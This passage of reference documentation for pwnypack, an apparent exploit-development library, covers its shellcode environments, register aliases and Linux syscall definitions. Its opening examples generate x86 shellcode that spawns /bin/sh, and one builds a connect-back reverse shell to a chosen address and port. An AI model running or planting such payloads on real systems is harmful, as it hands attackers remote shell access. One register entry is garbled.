...     env.sys_write(1, u'hello', 5),
...     env.sys_exit(),
... ])
'\xe8\x00\x00\x00\x00]\x83\xc5␣
↪\xba\x05\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\
↪'
```

Or use lists as syscall arguments.

```
>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     env.sys_execve(u'/bin/sh', [u'/bin/sh', None], None)
... ])

↪'\xe8\x00\x00\x00\x00]\x83\xc5\x151\xd21\xc0PU\x89\xe1\x89\xeb\xb8\x0b\x00\x00\x00\xcd\x80/
↪bin/sh\x00'
```

Need a buffer to write something to? We've got you covered.

```
>>> from pwny import *
>>> env = sc.LinuxX86()
>>> buf = env.alloc_buffer(64)
>>> env.assemble([
...     env.sys_read(0, buf, buf.length),
...     env.sys_write(1, buf, buf.length),
...     env.sys_exit(0)
... ])

↪'\xba@\x00\x00\x00\x89\xe91\xdb\xb8\x03\x00\x00\x00\xcd\x80\xba@\x00\x00\x00\x89\xe9\xbb\x01\x
↪'
```

2.14.2 Imperatively defined shellcode

When using the imperatively defined shellcode, you translate a python function to a set of shellcode primitives.

The set of operations you can use in your python function is limited. The properties of the environment (syscalls, registers, functions) are exposed as if they were magic globals: you cannot shadow them. From your shellcode generator you can call syscalls and other primitives of the environment, assign values to registers, use in-place addition/subtraction on registers and assign values to locals (f.e. allocated buffers or data). You can also access globals outside the shellcode generator function (f.e. pwnypack's packing functions to construct data structures).

If you want to create a re-usable fragment for a commonly used subroutine, you can do so by creating a function and decorating it with the *fragment()* decorator. If such a function is called from within a shellcode function it will be translated in the context of the current shellcode environment. Do note however that fragments are inlined in the resulting shellcode, they're not implemented as functions.

You translate a function by using the environment's *translate()* class method.

Examples:

The following example creates an instance of the LinuxX86 environment and assembles a piece of shellcode that just calls the exit system call.

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_exit(0)
...
>>> shellcode()
'1\xdb\xb8\x01\x00\x00\x00\xcd\x80'
```

To demonstrate how registers loading works, here's an example that does the same thing but in a different way:

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     EAX = 0
...     sys_exit(EAX)
...
>>> shellcode()
'1\xc0\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80'
```

You can also use strings or bytes. If you use a unicode string, it will be UTF-8 encoded and zero-terminated. Bytes are allocated verbatim.

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_write(1, u'hello', 5)
...     sys_exit(0)
...
>>> shellcode()
'\xe8\x00\x00\x00\x00]\x83\xc5␣
↪\xba\x05\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\
↪'
```

Or use lists as syscall arguments.

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_execve(u'/bin/sh', [u'/bin/sh', None], None)
...
>>> shellcode()

↪'\xe8\x00\x00\x00\x00]\x83\xc5\x151\xd21\xc0PU\x89\xe1\x89\xeb\xb8\x0b\x00\x00\x00\xcd\x80/
↪bin/sh\x00'
```

Need a buffer to write something to? We've got you covered.

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     buf = alloc_buffer(64)
...     sys_read(0, buf, buf.length)
...     sys_write(1, buf, buf.length)
...     sys_exit(0)
...
>>> shellcode()

↪'\xba@\x00\x00\x00\x89\xe91\xdb\xb8\x03\x00\x00\x00\xcd\x80\xba@\x00\x00\x00\x89\xe9\xbb\x01\x
↪'
```

You can also pass parameters to the shellcode function.

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode(command):
...     sys_execve(u'/bin/sh', [u'/bin/sh', command, None], None)
...
>>> shellcode(u'ls -lR')

↪'\xe8\x00\x00\x00\x00]\x83\xc5\x1a1\xd21\xc0PU\x8dE\x07P\x89\xe1\x8d]\x07\xb8\x0b\x00\x00\x00\
↪-lR\x00/bin/sh\x00'
```

Combining all that, here's a somewhat larger example that also demonstrates using global and local variables, register aliases and fragments to implement a connect-back shell:

```
from pwny import *
import socket

@sc.fragment
def pack_sockaddr_in(addr, port):
    # Prepare the sockaddr_in struct:
    return pack(
        'H2s4s8s',
        socket.AF_INET,
        P16(port, endian=Target.Endian.big),
        socket.inet_aton(addr),
        b'........',  # Doesn't really have to be \0.
        target=target  # This is a fragment, target refers to the
                       # environment's target attribute.
    )

@sc.fragment
def exec_to_fd(fd, executable):
```

```
    # Set up register aliases (for convenience):
    arg0 = SYSCALL_ARG_MAP[0]
    arg1 = SYSCALL_ARG_MAP[1]

    # Call dup2 to connect stdin/out/err to the fd:
    sys_dup2(fd, 0)
    arg1 += 1; sys_dup2(arg0, arg1)
    arg1 += 1; sys_dup2(arg0, arg1)

    # Execute the command:
    sys_execve(executable, [executable, None], None)

@sc.LinuxX86Mutable.translate
def shell_connect(addr, port, shell=u'/bin/sh'):
    # Pack the sockaddr_in struct using a fragment:
    sockaddr = pack_sockaddr_in(addr, port)

    # Set up register alias (for convenience):
    socket_reg = SYSCALL_ARG_MAP[4]

    # Prepare socket:
    socket_reg = sys_socket(socket.AF_INET, socket.SOCK_STREAM, socket.
↪IPPROTO_TCP)
    sys_connect(socket_reg, sockaddr, len(sockaddr))

    # Call the fragment that calls dup2 and execve:
    exec_to_fd(socket_reg, shell)
```

2.14.3 `linux` – Linux X86

class pwnypack.shellcode.x86.linux.**LinuxX86Mutable**(*version=None*, **args*, ***kwargs*)

Bases: *pwnypack.shellcode.x86.linux.LinuxX86*

An environment that targets a 32-bit Linux X86 machine in a writable segment.

data_finalizer(*env*, *code*, *data*)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86.linux.**LinuxX86Stack**(*version=None*, **args*, ***kwargs*)

Bases: *pwnypack.shellcode.x86.linux.LinuxX86*

An environment that targets a 32-bit Linux X86 machine that allocates the required data on the stack.

class pwnypack.shellcode.x86.linux.**LinuxX86MutableNullSafe**(*version=None*, **args*, ***kwargs*)

Bases: pwnypack.shellcode.x86.null_safe.X86NullSafe, *pwnypack.shellcode.x86.linux.LinuxX86*

An environment that targets a 32-bit Linux X86 machine in a writable segment that emits no NUL bytes or carriage return characters.

data_finalizer(*env*, *code*, *data*)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86.linux.**LinuxX86StackNullSafe**(*version=None*, **args*, ***kwargs*)

Bases: pwnypack.shellcode.x86.null_safe.X86NullSafe, *pwnypack.shellcode.x86.linux.LinuxX86*

An environment that targets a 32-bit Linux X86 machine that allocates the required data on the stack and emits no NUL bytes or carriage return characters.

class pwnypack.shellcode.x86.linux.**LinuxX86**(*version=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.linux.Linux*, *pwnypack.shellcode.x86.X86*

An environment that targets a generic Linux X86_64 machine.

sys_get_thread_area = SyscallDef(sys_get_thread_area: void *)

sys_iopl = SyscallDef(sys_iopl: int)

sys_modify_ldt = SyscallDef(sys_modify_ldt: int, void *, int)

sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn)

sys_set_thread_area = SyscallDef(sys_set_thread_area: void *)

sys_sigreturn = SyscallDef(sys_sigreturn)

sys_vm86 = SyscallDef(sys_vm86: int, int)

sys_vm86old = SyscallDef(sys_vm86old: void *)

2.14.4 linux – Linux X86_64

class pwnypack.shellcode.x86_64.linux.**LinuxX86_64Mutable**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.x86_64.linux.LinuxX86_64*

An environment that targets a 64-bit Linux X86 machine in a writable segment.

data_finalizer(*env*, *code*, *data*)
Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86_64.linux.**LinuxX86_64Stack**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.x86_64.linux.LinuxX86_64*

An environment that targets a 64-bit Linux X86 machine that allocates the required data on the stack.

class pwnypack.shellcode.x86_64.linux.**LinuxX86_64MutableNullSafe**(**args*, ***kwargs*)
Bases: pwnypack.shellcode.x86_64.null_safe.X86_64NullSafe, *pwnypack.shellcode.x86_64.linux.LinuxX86_64*

An environment that targets a 64-bit Linux X86 machine in a writable segment that emits no NUL bytes or carriage return characters.

data_finalizer(*env*, *code*, *data*)
Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86_64.linux.**LinuxX86_64StackNullSafe**(**args*, ***kwargs*)
Bases: pwnypack.shellcode.x86_64.null_safe.X86_64NullSafe, *pwnypack.shellcode.x86_64.linux.LinuxX86_64*

An environment that targets a 64-bit Linux X86 machine that allocates the required data on the stack and emits no NUL bytes or carriage return characters.

class pwnypack.shellcode.x86_64.linux.**LinuxX86_64**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.linux.Linux*, *pwnypack.shellcode.x86_64.X86_64*

An environment that targets a generic Linux X86_64 machine.

sys_arch_prctl = SyscallDef(sys_arch_prctl: int, int)

sys_iopl = SyscallDef(sys_iopl: int)

sys_mmap = SyscallDef(sys_mmap: void *, int, int, int, int, int)

sys_modify_ldt = SyscallDef(sys_modify_ldt: int, void *, int)

sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn)

2.14.5 `linux` – Linux ARM

class pwnypack.shellcode.arm.linux.**LinuxARMMutable**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARM*

An environment that targets a 32-bit Linux ARM machine in a writable segment.

class pwnypack.shellcode.arm.linux.**LinuxARMStack**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARM*

An environment that targets a 32-bit Linux ARM machine that allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.**LinuxARMThumbMutable**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARMThumb*

An environment that targets a 32-bit Linux ARM machine using the Thumb instruction set in a writable segment.

class pwnypack.shellcode.arm.linux.**LinuxARMThumbStack**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARMThumb*

An environment that targets a 32-bit Linux ARM machine using the Thumb instruction set that allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.**LinuxARMThumbMixedMutable**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARMThumbMixed*

An environment that targets a 32-bit Linux ARM machine, switches to Thumb mode and resides in a writable segment.

class pwnypack.shellcode.arm.linux.**LinuxARMThumbMixedStack**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.linux.LinuxARMThumbMixed*

An environment that targets a 32-bit Linux ARM machine, switches to Thumb mode and allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.**LinuxARM**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.linux.Linux*, *pwnypack.shellcode.arm.ARM*

An environment that targets a generic Linux ARM machine.

class pwnypack.shellcode.arm.linux.**LinuxARMThumb**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.thumb.ARMThumb*, *pwnypack.shellcode.arm.linux.LinuxARM*

An environment that targets a generic Linux ARM machine in Thumb mode.

class pwnypack.shellcode.arm.linux.**LinuxARMThumbMixed**(*endian=None*, **args*, ***kwargs*)

Bases: *pwnypack.shellcode.arm.thumb_mixed.ARMThumbMixed*, *pwnypack.shellcode.arm.linux.LinuxARM*

An environment that targets a generic Linux ARM machine that starts out in ARM mode but switches to Thumb mode.

2.14.6 linux – Linux AArch64

class pwnypack.shellcode.aarch64.linux.**LinuxAArch64Mutable**(**args*, ***kwargs*)

Bases: *pwnypack.shellcode.aarch64.linux.LinuxAArch64*

An environment that targets a 64-bit Linux ARM machine in a writable segment.

class pwnypack.shellcode.aarch64.linux.**LinuxAArch64Stack**(**args*, ***kwargs*)

Bases: *pwnypack.shellcode.aarch64.linux.LinuxAArch64*

An environment that targets a 64-bit Linux ARM machine that allocates the required data on the stack.

class pwnypack.shellcode.aarch64.linux.**LinuxAArch64**(**args*, ***kwargs*)

Bases: *pwnypack.shellcode.linux.Linux*, *pwnypack.shellcode.aarch64.AArch64*

An environment that targets a generic Linux AArch64 machine.

sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn: void *)

2.14.7 x86 – X86

class pwnypack.shellcode.x86.**X86**(**args*, ***kwargs*)

Bases: *pwnypack.shellcode.base.BaseEnvironment*

Environment that targets a generic, unrestricted X86 architecture.

AH = <Reg:AH>
ah register

AL = <Reg:AL>
al register

AX = <Reg:AX>
ax register

BH = <Reg:BH>
bh register

BL = <Reg:BL>
bl register

BP = <Reg:BP>
bp register

BX = <Reg:BX>
bx register

CH = <Reg:CH>
ch register

CL = <Reg:CL>
cl register

CX = <Reg:CX>
cx register

DH = <Reg:DH>
dh register

DI = <Reg:DI>
di register

DL = <Reg:DL>
dl register

DX = <Reg:DX>
dx register

EAX = <Reg:EAX>
eax register

EBP = <Reg:EBP>
ebp register

EBX = <Reg:EBX>
ebx register

ECX = <Reg:ECX>
ecx register

EDI = <Reg:EDI>
edi register

EDX = <Reg:EDX>
edx register

EIP = <Reg:EIP>
eip register

ESI = <Reg:ESI>
esi register

ESP = <Reg:ESP>
esp register

IP = <Reg:IP>
ip register

SI = <Reg:SI>
si register

SP = <Reg:SP>
sp register

target = Target(arch=x86,bits=32,endian=little,mode=0)
Target architecture

2.14.8 x86_64 – X86_64

class pwnypack.shellcode.x86_64.**X86_64**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.x86.X86*

Environment that targets a generic, unrestricted X86_64 architecture.

R10 = <Reg:R10>
r10 register

R10B = <Reg:R10B>
r10b register

R10D = <Reg:R10D>
r10d register

R10W = <Reg:R10W>
r10w register

R11 = <Reg:R11>
r11 register

R11B = <Reg:R11B>
r11b register

R11D = <Reg:R11D>
r11d register

R11W = <Reg:R11W>
r11w register

R12 = <Reg:R12>
r12 register

R12B = <Reg:R12B>
r12b register

R12D = <Reg:R12D>
r12d register

R12W = <Reg:R12W>
r12w register

R13 = <Reg:R13>
r13 register

R13B = <Reg:R13B>
r13b register

R13D = <Reg:R13D>
r13d register

R13W = <Reg:R13W>
r13w register

R14 = <Reg:R14>
r14 register

R14B = <Reg:R14B>
r14b register

R14D = <Reg:R14D>
r14d register

R14W = <Reg:R14W>
r14w register

R15 = <Reg:R15>
r15 register

R15B = <Reg:R15B>
r15b register

R15D = <Reg:R16D>
r16d register

R15W = <Reg:R15W>
r15w register

R8 = <Reg:R8>
r8 register

R8B = <Reg:R8B>
r8b register

R8D = <Reg:R8D>
r8d register

R8W = <Reg:R8W>
r8w register

R9 = <Reg:R9>
r9 register

R9B = <Reg:R9B>
r9b register

R9D = <Reg:R9D>
r9d register

R9W = <Reg:R9W>
r9w register

RAX = <Reg:RAX>
rax register

RBP = <Reg:RBP>
rbp register

RBX = <Reg:RBX>
rbx register

RCX = <Reg:RCX>
rcx register

RDI = <Reg:RDI>
rdi register

RDX = <Reg:RDX>
rdx register

RIP = <Reg:RIP>
rip register

RSI = <Reg:RSI>
rsi register

RSP = <Reg:RSP>
rsp register

target = Target(arch=x86,bits=64,endian=little,mode=0)
Target architecture

2.14.9 arm – ARM

class pwnypack.shellcode.arm.**ARM**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.base.BaseEnvironment*

Environment that targets a generic, unrestricted ARM architecture.

LR = <Reg:LR>
lr register

PC = <Reg:PC>
pc register

R0 = <Reg:R0>
r0 register

R1 = <Reg:R1>
r1 register

R10 = <Reg:R10>
r10 register

R11 = <Reg:R11>
r11 register

R12 = <Reg:R12>
r12 register

R2 = <Reg:R2>
r2 register

R3 = <Reg:R3>
r3 register

R4 = <Reg:R4>
r4 register

R5 = <Reg:R5>
r5 register

R6 = <Reg:R6>
r6 register

R7 = <Reg:R7>
r7 register

R8 = <Reg:R8>
r8 register

R9 = <Reg:R9>
r9 register

SP = <Reg:SP>
sp register

target = None
Target architecture, initialized in __init__.

class pwnypack.shellcode.arm.thumb.**ARMThumb**(*endian=None*, **args*, ***kwargs*)
Bases: *pwnypack.shellcode.arm.ARM*

Environment that targets a generic, unrestricted ARM architecture using the Thumb instruction set.

class pwnypack.shellcode.arm.thumb_mixed.**ARMThumbMixed**(*endian=None*, **args*, ***kwargs*)

Bases: *pwnypack.shellcode.arm.thumb.ARMThumb*

Environment that targets a generic, unrestricted ARM architecture that switches to the Thumb instruction set.

2.14.10 aarch64 – AArch64

class pwnypack.shellcode.aarch64.**AArch64**(*endian=None*, **args*, ***kwargs*)

Bases: *pwnypack.shellcode.base.BaseEnvironment*

Environment that targets a generic, unrestricted AArch64 architecture.

SP = <Reg:SP>
sp (stack pointer) register

W0 = <Reg:W0>
w0 register

W1 = <Reg:W1>
w1 register

W10 = <Reg:W10>
w10 register

W11 = <Reg:W11>
w11 register

W12 = <Reg:W12>
w12 register

W13 = <Reg:W13>
w13 register

W14 = <Reg:W14>
w14 register

W15 = <Reg:W15>
w15 register

W16 = <Reg:W16>
w16 register

W17 = <Reg:W17>
w17 register

W18 = <Reg:W18>
w18 register

W19 = <Reg:W19>
w19 register

W2 = <Reg:W2>
w2 register

W20 = <Reg:W20>
w20 register

W21 = <Reg:W21>
w21 register

W22 = <Reg:W22>
w22 register

W23 = <Reg:W23>
w23 register

W24 = <Reg:W24>
w24 register

W25 = <Reg:W25>
w25 register

W26 = <Reg:W26>
w26 register

W27 = <Reg:W27>
w27 register

W28 = <Reg:W28>
w28 register

W29 = <Reg:W29>
w29 register

W3 = <Reg:W3>
w3 register

W30 = <Reg:W30>
w30 register

W4 = <Reg:W4>
w4 register

W5 = <Reg:W5>
w5 register

W6 = <Reg:W6>
w6 register

W7 = <Reg:W7>
w7 register

W8 = <Reg:W8>
w8 register

W9 = <Reg:W9>
w9 register

WZR = <Reg:WZR>
wzr register

X0 = <Reg:X0>
x0 register

X1 = <Reg:X1>
x1 register

X10 = <Reg:X10>
x10 register

X11 = <Reg:X11>
x11 register

X12 = <Reg:X12>
x12 register

X13 = <Reg:X13>
x13 register

X14 = <Reg:X14>
x14 register

X15 = <Reg:X15>
x15 register

X16 = <Reg:X16>
x16 register

X17 = <Reg:X17>
x17 register

X18 = <Reg:X18>
x18 register

X19 = <Reg:X19>
x19 register

X2 = <Reg:X2>
x2 register

X20 = <Reg:X20>
x20 register

X21 = <Reg:X21>
x21 register

X22 = <Reg:X22>
x22 register

X23 = <Reg:X23>
x23 register

X24 = <Reg:X24>
x24 register

X25 = <Reg:X25>
x25 register

X26 = <Reg:X26>
x26 register

X27 = <Reg:X27>
x27 register

X28 = <Reg:X28>
x28 register

X29 = <Reg:X29>
x29 register

X3 = <Reg:X3>
x3 register

X30 = <Reg:X30>
x30 register

X4 = <Reg:X4>
x4 register

X5 = <Reg:X5>
x5 register

X6 = <Reg:X6>
x6 register

X7 = <Reg:X7>
x7 register

X8 = <Reg:X8>
x8 register

X9 = <Reg:X9>
x9 register

XZR = <Reg:XZR>
xzr register

target = None
Target architecture, initialized in __init__.

2.14.11 `linux` – Linux OS

class pwnypack.shellcode.linux.**Linux**(**args*, ***kwargs*)
Bases: *pwnypack.shellcode.base.BaseEnvironment*

This mix-in defines all the common Linux syscalls and the syscall mechanism.

sys_accept = SyscallDef(sys_accept: int, void *, void *)

sys_accept4 = SyscallDef(sys_accept4: int, void *, void *, int)

sys_access = SyscallDef(sys_access: void **, int)

sys_acct = SyscallDef(sys_acct: void **)

sys_add_key = SyscallDef(sys_add_key: void **, void **, void *, int, int)

sys_adjtimex = SyscallDef(sys_adjtimex: void *)

sys_alarm = SyscallDef(sys_alarm: int)

sys_bdflush = SyscallDef(sys_bdflush: int, int)

sys_bind = SyscallDef(sys_bind: int, void *, int)

sys_bpf = SyscallDef(sys_bpf: int, void *, int)

sys_brk = SyscallDef(sys_brk: int)

sys_capget = SyscallDef(sys_capget: void *, void *)

sys_capset = SyscallDef(sys_capset: void *, void *)

sys_chdir = SyscallDef(sys_chdir: void **)

sys_chmod = SyscallDef(sys_chmod: void **, int)

sys_chown = SyscallDef(sys_chown: void **, int, int)

sys_chown16 = SyscallDef(sys_chown16: void **, int, int)

sys_chroot = SyscallDef(sys_chroot: void **)

sys_clock_adjtime = SyscallDef(sys_clock_adjtime: int, void *)

sys_clock_getres = SyscallDef(sys_clock_getres: int, void *)

```
sys_clock_gettime = SyscallDef(sys_clock_gettime:  int, void *)
sys_clock_nanosleep = SyscallDef(sys_clock_nanosleep:  int, int, void *, void *)
sys_clock_settime = SyscallDef(sys_clock_settime:  int, void *)
sys_clone = SyscallDef(sys_clone:  int, int, void *, void *, int)
sys_close = SyscallDef(sys_close:  int)
sys_connect = SyscallDef(sys_connect:  int, void *, int)
sys_copy_file_range = SyscallDef(sys_copy_file_range:  int, void *, int, void *, int,
sys_creat = SyscallDef(sys_creat:  void **, int)
sys_delete_module = SyscallDef(sys_delete_module:  void **, int)
sys_dup = SyscallDef(sys_dup:  int)
sys_dup2 = SyscallDef(sys_dup2:  int, int)
sys_dup3 = SyscallDef(sys_dup3:  int, int, int)
sys_epoll_create = SyscallDef(sys_epoll_create:  int)
sys_epoll_create1 = SyscallDef(sys_epoll_create1:  int)
sys_epoll_ctl = SyscallDef(sys_epoll_ctl:  int, int, int, void *)
sys_epoll_pwait = SyscallDef(sys_epoll_pwait:  int, void *, int, int, void *, int)
sys_epoll_wait = SyscallDef(sys_epoll_wait:  int, void *, int, int)
sys_eventfd = SyscallDef(sys_eventfd:  int)
sys_eventfd2 = SyscallDef(sys_eventfd2:  int, int)
sys_execve = SyscallDef(sys_execve:  void **, void **[], void **[])
sys_execveat = SyscallDef(sys_execveat:  int, void **, void **[], void **[], int)
sys_exit = SyscallDef(sys_exit:  int)
sys_exit_group = SyscallDef(sys_exit_group:  int)
sys_faccessat = SyscallDef(sys_faccessat:  int, void **, int)
sys_fadvise64 = SyscallDef(sys_fadvise64:  int, int, int, int)
sys_fadvise64_64 = SyscallDef(sys_fadvise64_64:  int, int, int, int)
sys_fallocate = SyscallDef(sys_fallocate:  int, int, int, int)
sys_fanotify_init = SyscallDef(sys_fanotify_init:  int, int)
sys_fanotify_mark = SyscallDef(sys_fanotify_mark:  int, int, int, int, void *)
sys_fchdir = SyscallDef(sys_fchdir:  int)
sys_fchmod = SyscallDef(sys_fchmod:  int, int)
sys_fchmodat = SyscallDef(sys_fchmodat:  int, void **, int)
sys_fchown = SyscallDef(sys_fchown:  int, int, int)
sys_fchown16 = SyscallDef(sys_fchown16:  int, int, int)
sys_fchownat = SyscallDef(sys_fchownat:  int, void **, int, int, int)
sys_fcntl = SyscallDef(sys_fcntl:  int, int, int)
```

```
sys_fcntl64 = SyscallDef(sys_fcntl64:  int, int, int)
sys_fdatasync = SyscallDef(sys_fdatasync:  int)
sys_fgetxattr = SyscallDef(sys_fgetxattr:  int, void **, void *, int)
sys_finit_module = SyscallDef(sys_finit_module:  int, void **, int)
sys_flistxattr = SyscallDef(sys_flistxattr:  int, void **, int)
sys_flock = SyscallDef(sys_flock:  int, int)
sys_fork = SyscallDef(sys_fork)
sys_fremovexattr = SyscallDef(sys_fremovexattr:  int, void **)
sys_fsetxattr = SyscallDef(sys_fsetxattr:  int, void **, void *, int, int)
sys_fstat = SyscallDef(sys_fstat:  int, void *)
sys_fstat64 = SyscallDef(sys_fstat64:  int, void *)
sys_fstatat64 = SyscallDef(sys_fstatat64:  int, void **, void *, int)
sys_fstatfs = SyscallDef(sys_fstatfs:  int, void *)
sys_fstatfs64 = SyscallDef(sys_fstatfs64:  int, int, void *)
sys_fsync = SyscallDef(sys_fsync:  int)
sys_ftruncate = SyscallDef(sys_ftruncate:  int, int)
sys_ftruncate64 = SyscallDef(sys_ftruncate64:  int, int)
sys_futex = SyscallDef(sys_futex:  void *, int, int, void *, void *, int)
sys_futimesat = SyscallDef(sys_futimesat:  int, void **, void *)
sys_get_mempolicy = SyscallDef(sys_get_mempolicy:  void *, void *, int, int, int)
sys_get_robust_list = SyscallDef(sys_get_robust_list:  int, void *, void *)
sys_getcpu = SyscallDef(sys_getcpu:  void *, void *, void *)
sys_getcwd = SyscallDef(sys_getcwd:  void **, int)
sys_getdents = SyscallDef(sys_getdents:  int, void *, int)
sys_getdents64 = SyscallDef(sys_getdents64:  int, void *, int)
sys_getegid = SyscallDef(sys_getegid)
sys_getegid16 = SyscallDef(sys_getegid16)
sys_geteuid = SyscallDef(sys_geteuid)
sys_geteuid16 = SyscallDef(sys_geteuid16)
sys_getgid = SyscallDef(sys_getgid)
sys_getgid16 = SyscallDef(sys_getgid16)
sys_getgroups = SyscallDef(sys_getgroups:  int, void *)
sys_getgroups16 = SyscallDef(sys_getgroups16:  int, void *)
sys_gethostname = SyscallDef(sys_gethostname:  void **, int)
sys_getitimer = SyscallDef(sys_getitimer:  int, void *)
sys_getpeername = SyscallDef(sys_getpeername:  int, void *, void *)
```

```
sys_getpgid = SyscallDef(sys_getpgid:  int)
sys_getpgrp = SyscallDef(sys_getpgrp)
sys_getpid = SyscallDef(sys_getpid)
sys_getppid = SyscallDef(sys_getppid)
sys_getpriority = SyscallDef(sys_getpriority:  int, int)
sys_getrandom = SyscallDef(sys_getrandom:  void **, int, int)
sys_getresgid = SyscallDef(sys_getresgid:  void *, void *, void *)
sys_getresgid16 = SyscallDef(sys_getresgid16:  void *, void *, void *)
sys_getresuid = SyscallDef(sys_getresuid:  void *, void *, void *)
sys_getresuid16 = SyscallDef(sys_getresuid16:  void *, void *, void *)
sys_getrlimit = SyscallDef(sys_getrlimit:  int, void *)
sys_getrusage = SyscallDef(sys_getrusage:  int, void *)
sys_getsid = SyscallDef(sys_getsid:  int)
sys_getsockname = SyscallDef(sys_getsockname:  int, void *, void *)
sys_getsockopt = SyscallDef(sys_getsockopt:  int, int, int, void **, void *)
sys_gettid = SyscallDef(sys_gettid)
sys_gettimeofday = SyscallDef(sys_gettimeofday:  void *, void *)
sys_getuid = SyscallDef(sys_getuid)
sys_getuid16 = SyscallDef(sys_getuid16)
sys_getxattr = SyscallDef(sys_getxattr:  void **, void **, void *, int)
sys_init_module = SyscallDef(sys_init_module:  void *, int, void **)
sys_inotify_add_watch = SyscallDef(sys_inotify_add_watch:  int, void **, int)
sys_inotify_init = SyscallDef(sys_inotify_init)
sys_inotify_init1 = SyscallDef(sys_inotify_init1:  int)
sys_inotify_rm_watch = SyscallDef(sys_inotify_rm_watch:  int, int)
sys_io_cancel = SyscallDef(sys_io_cancel:  void *, void *, void *)
sys_io_destroy = SyscallDef(sys_io_destroy:  void *)
sys_io_getevents = SyscallDef(sys_io_getevents:  void *, int, int, void *, void *)
sys_io_setup = SyscallDef(sys_io_setup:  int, void *)
sys_io_submit = SyscallDef(sys_io_submit:  void *, int, void *)
sys_ioctl = SyscallDef(sys_ioctl:  int, int, int)
sys_ioperm = SyscallDef(sys_ioperm:  int, int, int)
sys_ioprio_get = SyscallDef(sys_ioprio_get:  int, int)
sys_ioprio_set = SyscallDef(sys_ioprio_set:  int, int, int)
sys_ipc = SyscallDef(sys_ipc:  int, int, int, int, void *, int)
sys_kcmp = SyscallDef(sys_kcmp:  int, int, int, int, int)
```

```
sys_kexec_file_load = SyscallDef(sys_kexec_file_load:  int, int, int, void **, int)
sys_kexec_load = SyscallDef(sys_kexec_load:  int, int, void *, int)
sys_keyctl = SyscallDef(sys_keyctl:  int, int, int, int, int)
sys_kill = SyscallDef(sys_kill:  int, int)
sys_lchown = SyscallDef(sys_lchown:  void **, int, int)
sys_lchown16 = SyscallDef(sys_lchown16:  void **, int, int)
sys_lgetxattr = SyscallDef(sys_lgetxattr:  void **, void **, void *, int)
sys_link = SyscallDef(sys_link:  void **, void **)
sys_linkat = SyscallDef(sys_linkat:  int, void **, int, void **, int)
sys_listen = SyscallDef(sys_listen:  int, int)
sys_listxattr = SyscallDef(sys_listxattr:  void **, void **, int)
sys_llistxattr = SyscallDef(sys_llistxattr:  void **, void **, int)
sys_llseek = SyscallDef(sys_llseek:  int, int, int, void *, int)
sys_lookup_dcookie = SyscallDef(sys_lookup_dcookie:  int, void **, int)
sys_lremovexattr = SyscallDef(sys_lremovexattr:  void **, void **)
sys_lseek = SyscallDef(sys_lseek:  int, int, int)
sys_lsetxattr = SyscallDef(sys_lsetxattr:  void **, void **, void *, int, int)
sys_lstat = SyscallDef(sys_lstat:  void **, void *)
sys_lstat64 = SyscallDef(sys_lstat64:  void **, void *)
sys_madvise = SyscallDef(sys_madvise:  int, int, int)
sys_mbind = SyscallDef(sys_mbind:  int, int, int, void *, int, int)
sys_membarrier = SyscallDef(sys_membarrier:  int, int)
sys_memfd_create = SyscallDef(sys_memfd_create:  void **, int)
sys_migrate_pages = SyscallDef(sys_migrate_pages:  int, int, void *, void *)
sys_mincore = SyscallDef(sys_mincore:  int, int, void *)
sys_mkdir = SyscallDef(sys_mkdir:  void **, int)
sys_mkdirat = SyscallDef(sys_mkdirat:  int, void **, int)
sys_mknod = SyscallDef(sys_mknod:  void **, int, int)
sys_mknodat = SyscallDef(sys_mknodat:  int, void **, int, int)
sys_mlock = SyscallDef(sys_mlock:  int, int)
sys_mlock2 = SyscallDef(sys_mlock2:  int, int, int)
sys_mlockall = SyscallDef(sys_mlockall:  int)
sys_mmap2 = SyscallDef(sys_mmap2:  void *, int, int, int, int, int)
sys_mount = SyscallDef(sys_mount:  void **, void **, void **, int, void *)
sys_move_pages = SyscallDef(sys_move_pages:  int, int, void *, void *, void *, int)
sys_mprotect = SyscallDef(sys_mprotect:  int, int, int)
```

```
sys_mq_getsetattr = SyscallDef(sys_mq_getsetattr:  int, void *, void *)
